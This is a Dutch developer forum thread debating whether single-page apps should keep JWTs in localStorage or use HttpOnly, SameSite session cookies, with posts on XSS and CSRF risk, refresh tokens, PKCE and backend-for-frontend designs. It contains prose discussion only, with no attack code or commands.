Ja, maar zoals ik gisteren al aangaf ben ik nog niet echt overtuigd door de alternatieven van localStorage. Ik geloof best dat localStorage niet ideaal is, maar er is op dit moment gewoon niet heel veel beters.
De aanval gaat er al vanuit dat er malafide code in je applicatie ingeladen wordt, maar als dat het geval is, heb je grotere problemen, want zijn de uit te voeren acties nog steeds mogelijk als je een cookie gebruikt.

Als de deur van jouw huis wordt ingebroken, heb je inderdaad grotere problemen... maar betekent dat automatisch ook dat het handig is om de autosleutels op tafel te laten liggen?

Het zal aan mij liggen, maar ik zie het voordeel van refreshtokens niet helemaal? Want als je XSS mogelijk is (wat de reden is dat tokens "onveilig" zijn), dan is het voor een hacker toch ook mogelijk om de refresh token op te halen?

Of is er een ander voordeel dat ik over het hoofd zie?

Refresh tokens zijn eigenlijk ook helemaal niet bedoeld voor in de browser, maar eigenlijk voor server to server toepassingen of andere toepassingen waarin de client vertrouwd kan worden.

In principe is wat ik nu doe ook een anti pattern.

Maar als ik het vergelijk met jouw oplossing, dan heb ik een meer lazy / reactive approach. Jij probeert van tevoren een nieuwe access token te krijgen, terwijl ik hem pas vernieuw op het moment dat hij daadwerkelijk verlopen is.

Uiteindelijk doen we het beiden fout echter, omdat we geen Code flow met PKCE gebruiken (of Implicit flow met Silent Authentication).

Het beste - als je graag tokens wil toepassen - zou dan ook zijn om gewoon IdentityServer4 goed te configureren en een JavaScript client library (zoals oidc-client-js) ervoor gebruiken die de details afhandelt van de token aanvraag en ook het vernieuwen ervan.

Daar ga ik ook nog verder induiken op zijn tijd. Maar ik moet nu ook nieuwe functionaliteit in de app gaan bouwen, anders wordt mijn werkgever wat zenuwachtig

Gelukkig kan ik de authenticatie methode ook in een latere fase nog vervangen door iets anders, omdat het zowel in de SPA als in de backend vrij transparant is. Mijn Angular components zijn niet aware van de HttpInterceptor of van cookies, net zoals dat mijn .NET Core Controllers dat niet zijn (die hebben alleen een Authorize attribute).

[Douweegbertje]

Ik negeer even exact je use-case en alle reacties hier bewust. Het is meer hoe "wij" vaak dingetjes oppakken. Dit gaat er ook deels vanuit dat het vooral voor interne meuk is. Ik ben dan vooral erg fan van een centrale oplossing waarbij je domweg integraties gebruikt t.b.v. authentication.

Een exact voorbeeld is https://github.com/dexidp/dex

Dus we zien dan graag een gedegen standaard welke vervolgens te integreren is met bestaande oplossingen. Zo is er een uniform systeem waar alles te beheren is. Nu praat ik meer vanuit de ops dan dev kant overigens

Recent doen we ook iets waarbij gitlab gewoon "lead" is, de "SSO" gaat via Google.

Ik denk de tl;dr versie hiervan is om ook te kijken naar bestaande oplossingen en hoe dit allemaal met elkaar kan werken. Uiteraard erg afhankelijk van de use-case!

[Lethalis]

Van het weekend nog van alles hierover zitten lezen.

Ook even terug naar de basis, waar beschermen we ons tegen?

In het geval van webapplicaties, zijn de voornaamste threats in principe CSRF en XSS. De andere 2 die ik kon bedenken, zijn SQL injection en brute forcing. SQL injection hebben we al eeuwen geen last meer van, omdat alle queries geparametriseerd zijn.

Brute forcing kan wel een spannende zijn, als je niet de juiste maatregelen hebt getroffen om wachtwoorden met een CPU intensieve functie te hashen (in combinatie met random salt, genoeg iteraties etc). Dus dit is wel een typisch iets dat je wil laten regelen door een framework.

CSRF is vooral een dingetje met cookies, dat gelukkig anno nu grotendeels te verhelpen is met de SameSite.Strict policy.

Verreweg het grootste gevaar, is echter XSS, waarbij het iemand lukt om ervoor te zorgen dat gebruikers zijn scripts uitvoeren op jouw web applicatie. Waarbij er nog een scheiding tussen reflected en persisted XSS attacks is.

Een modern framework zoals Angular sanitized alle output by default, waarmee de meeste XSS aanvallen worden voorkomen.

Maar wat wel een interessant aspect hiervan is, is het type applicatie dat je bouwt. Veel applicaties die ik bouw, tonen content voor de klant zelf. Ze zien nooit content die door andere klanten wordt gepost. Dus zelfs al lukt het iemand om een XSS aanval toe te passen, dan is dat altijd een gebruiker van klant X en betreft het alleen de gebruikers van klant X.

De scope van zo'n aanval zal dus vrij beperkt zijn.

En dat plaatst de hele discussie over de storage van tokens wel in een ander perspectief, in ieder geval op het gebied van security.

Of je tokens wil gebruiken voor sessions, kun je natuurlijk ook in een ander perspectief dan security zien, namelijk of het praktisch is. Vanuit dat oogpunt ben ik wel geneigd te zeggen dat ze onpraktisch zijn, omdat je uiteindelijk iets aan het nabouwen bent wat je eigenlijk al kant en klaar kunt krijgen, namelijk sessions.

Dus kort samengevat kun je de discussie op 2 fronten voeren.

Kijken we in het kader van SPA's echter naar deze fronten, dan zien we dat:
- Cookies met SameSite.Strict en HttpOnly veiliger zijn qua opslag dan objecten in local storage.
- Framework session management een klant en klare oplossing biedt voor hetgeen dat veel mensen met tokens proberen na te bouwen.

Ook het argument dat tokens handig zijn in het kader van REST API's die volledig stateless zijn, is op zich prima, maar je kunt je dus afvragen of een JavaScript applicatie überhaupt direct met een externe REST API hoort te praten. Of dat er niet altijd backend bijhoort die dat voor jou doet (Backend For Frontend, BFF architectuur).

En op dat moment kun je dus de SPA simpelweg met cookies en sessions van het framework laten praten, en de backend weer met tokens laten praten met externe API's (en heb je ook geen last van de security implicaties, omdat je tokens server side wél veilig kunt opslaan).

Kortom, mogen we SPA's eigenlijk wel als zelfstandige applicaties gaan zien?

Douweegbertje schreef op zaterdag 5 oktober 2019 @ 12:29:
Ik denk de tl;dr versie hiervan is om ook te kijken naar bestaande oplossingen en hoe dit allemaal met elkaar kan werken. Uiteraard erg afhankelijk van de use-case!

Ik vind het idee dat er een centrale auth server is, op zich niet slecht... alleen draaien we vaak hele verschillende projecten voor verschillende klanten en dan is het ook niet handig dat hun gegevens überhaupt in dezelfde database staan bijvoorbeeld.

Maar een kleine fractie van de projecten is voor intern gebruik bij ons. Eigenlijk alleen de website en de support site, voor de rest is alles voor klanten

We geloof ik er in dat als je een standaard component pakt, je het hiermee wel voor elk project afzonderlijk moet kunnen inregelen. Ook is een standaard component vaak veiliger dan een custom oplossing, omdat er simpelweg meer mensen naar hebben gekeken.

[BramV]

Stateful JWT tokens are functionally the same as session cookies, but without the battle-tested and well-reviewed implementations or client support.

http://cryto.net/~joepie9...p-using-jwt-for-sessions/

[ Voor 51% gewijzigd door BramV op 07-10-2019 09:31 ]

[Lethalis]

BramV schreef op maandag 7 oktober 2019 @ 09:29:
http://cryto.net/~joepie9...p-using-jwt-for-sessions/

Deze heb ik inderdaad al gelezen, ook deel 2:

http://cryto.net/~joepie9...our-solution-doesnt-work/

De flow chart is ook wel amusing

Wel grappig dat zijn persoonlijke blog overigens gehackt is, omdat hij een verouderde Wordpress gebruikte

Notice to press: This website was compromised through exploiting a plugin in an outdated Wordpress setup, uploading a shell, and replacing the index page. I am not a member of Lulzsec (a statement I have made several times before in various places), noone "hacked the server" (this has been verified by the hosting company, as this website is on shared hosting) and this was definitely not an "elite hack". I am not available for further comments to press.

Artikelen posten over security op Reddit (of waar dan ook) blijft een risicovolle onderneming

[ Voor 8% gewijzigd door Lethalis op 07-10-2019 09:40 ]

[BramV]

Het gebruik van Wordpress voor alleen maar een statische tekst (html) pagina is een onderwerp op zich :-)

Lethalis schreef op maandag 7 oktober 2019 @ 09:31:
[...]

Deze heb ik inderdaad al gelezen, ook deel 2:

http://cryto.net/~joepie9...our-solution-doesnt-work/

De flow chart is ook wel amusing

Wel grappig dat zijn persoonlijke blog overigens gehackt is, omdat hij een verouderde Wordpress gebruikte


[...]


Artikelen posten over security op Reddit blijft een risicovolle onderneming

Lethalis schreef op maandag 7 oktober 2019 @ 09:31:
[...]

Deze heb ik inderdaad al gelezen, ook deel 2:

http://cryto.net/~joepie9...our-solution-doesnt-work/

De flow chart is ook wel amusing

Wel grappig dat zijn persoonlijke blog overigens gehackt is, omdat hij een verouderde Wordpress gebruikte


[...]


Artikelen posten over security op Reddit blijft een risicovolle onderneming

[ThomasG]

Lethalis schreef op maandag 7 oktober 2019 @ 09:31:
[...]


Artikelen posten over security op Reddit (of waar dan ook)Wordpress gebruiken blijft een risicovolle onderneming

FTFY

[R4gnax]

FYI; die hele JWT/localStorage ende is 99% FUD en scare.

Je hebt XSS en een compromised JS runtime nodig om een JWT uit localStorage te jatten. Of die JWT nu in localStorage zit of niet; op dat moment kan er ook andere JS geinjecteerd worden die met gegevens aan de haal gaat.

Een stukje script te maken wat middels CORS een cross-domain binary XHR opzet en de volle DOM + alle ingeladen scripts redelijk efficient kan overpompen. Daarna reverse-engineer je de client<->server API en de eerstvolgende keer injecteer je de nodige instructies om de account te misbruiken, gegevens te exfiltreren, etc.

Het is de XSS zelf die een honderden malen groter probleem is als het kunnen jatten van een JWT met gelimiteerde lifetime. Zeker als die token ook nog gebolsterd is met extra maatregelen zoals 2-factor auth.

[ Voor 14% gewijzigd door R4gnax op 07-10-2019 20:15 ]

[Lethalis]

R4gnax schreef op maandag 7 oktober 2019 @ 20:14:
FYI; die hele JWT/localStorage ende is 99% FUD en scare.

Het is de XSS zelf die een honderden malen groter probleem is als het kunnen jatten van een JWT met gelimiteerde lifetime.

Op zich ben ik het hiermee eens en door naar de aard van mijn applicaties te kijken, zal de scope van een XSS aanval ook altijd redelijk beperkt blijven. XSS is vooral nasty als je een social media platform hebt. Op Tweakers of op Facebook zou het erg vervelend zijn, omdat je dan in 1 keer heel veel gebruikers te pakken hebt die wellicht jouw JavaScript uitvoeren.

Maar op een klantportaal waar je alleen jouw eigen dingen kan inzien, is zo'n aanval nogal beperkt.

Dus vanuit dat oogpunt, snap ik het. Ook zal een framework als Angular by default geen HTML / JavaScript 1 op 1 renderen, dus de kans dat het je al lukt om een XSS aanval op te zetten, is ook nog eens klein.

Wat ik alleen niet begrijp - als het puur FUD en scare is - waar die dan vandaan komt. Waarom zou je hier een groot punt van maken, als het dat in de praktijk niet is?

[Hydra]

Ik zie helaas dit topic nu pas en ik snap eerlijk gezegd absoluut niet waarom JWTs aan sessies gelinkt worden. Is dit ondertussen nu ook een beetje de conclusie? Als je perse een session state wil gebruiken; gebruik dan ajb sessies. Als je je back-end volledig stateless wil houden, hou dan die state lekker bij in je client. Maar dat heeft echt helemaal niks met JWTs te maken. De claims in een JWT bevatten normaliter niet meer dan wie je user is, en welke rollen hij heeft. De client kan de JWT ook niet aanpassen en de back-end wil dat ook niet continue doen.

Een session ID aan je JWT toevoegen kan, maar lijkt me nogal onzinnig, aangezien je dan iets zelf aan 't bouwen bent wat de meeste frameworks prima voor je kunnen doen.

Sorry als het meeste al gezegd is, heb vluchtig de comments doorgelezen maar zal ongetwijfeld zaken gemist hebben.

[R4gnax]

Hydra schreef op dinsdag 8 oktober 2019 @ 16:13:
Ik zie helaas dit topic nu pas en ik snap eerlijk gezegd absoluut niet waarom JWTs aan sessies gelinkt worden.

Omdat JWTs een authenticatie en authorisatie mechanisme zijn. Ze worden aan sessies gekoppeld in de zin van ingelogde gebruikers.

Als je iemands JWT hebt weten te stelen, kun je die persoon impersoneren en met zijn of haar rechten volledig je gang gaan. Dat is waarom mensen waarschuwen dat JWTs niet in localStorage opgeslagen zouden moeten worden, want bij een XSS aanval is het heel simpel om iets uit de localStorage te halen.

Als je een klassieke server-side sessie hebt waarin alle 'claims' van gebruiker zitten en een sessie-ID koppelt middels een cookie, dan zou je die problematiek niet hebben. En daar komen sessies om de hoek kijken.


Deze kijk op zaken is echter naief, want bij een XSS ben je sowieso de bok. De browser van de ingelogde gebruiker kan op dat moment ook direct gemanipuleerd worden om gegevens te exfiltreren richting een data dump site onder beheer van de aanvaller. Daarvoor hoef je echt niet eerst de JWT te stelen.

Sterker nog; de JWT stelen zou juist heel erg opvallen, want op het moment dat je het gestolen token probeert te gebruiken komt verkeer met dat token ineens van een heel ander IP adres van een andere plek op de planeet. Een goed intrusion-detection systeem slaat daarop meteen alarm.

Door de lokaal draaiende browser te exploiteren lijkt alle verkeer gewoon nog steeds consistent van hetzelfde adres te komen, en niemand die het meteen opvalt dat er iets niet klopt.

[Thundy]

Groene weide zou ik kiezen voor sessie cookies tussen de browser en web/api gateway. Met vanuit daar private-key signed JWTs richting achterliggende services. Dit zodat deze services zelf verificatie en stateless AuthZ kunnen doen zonder nog een IAM systeem om de rollen te moeten gaan vragen. Dat is wat mij betreft dan ook gelijk de sweet-spot voor het gebruik van JWT.

Kortom geen JWT naar de browser zou mijn default antwoord zijn.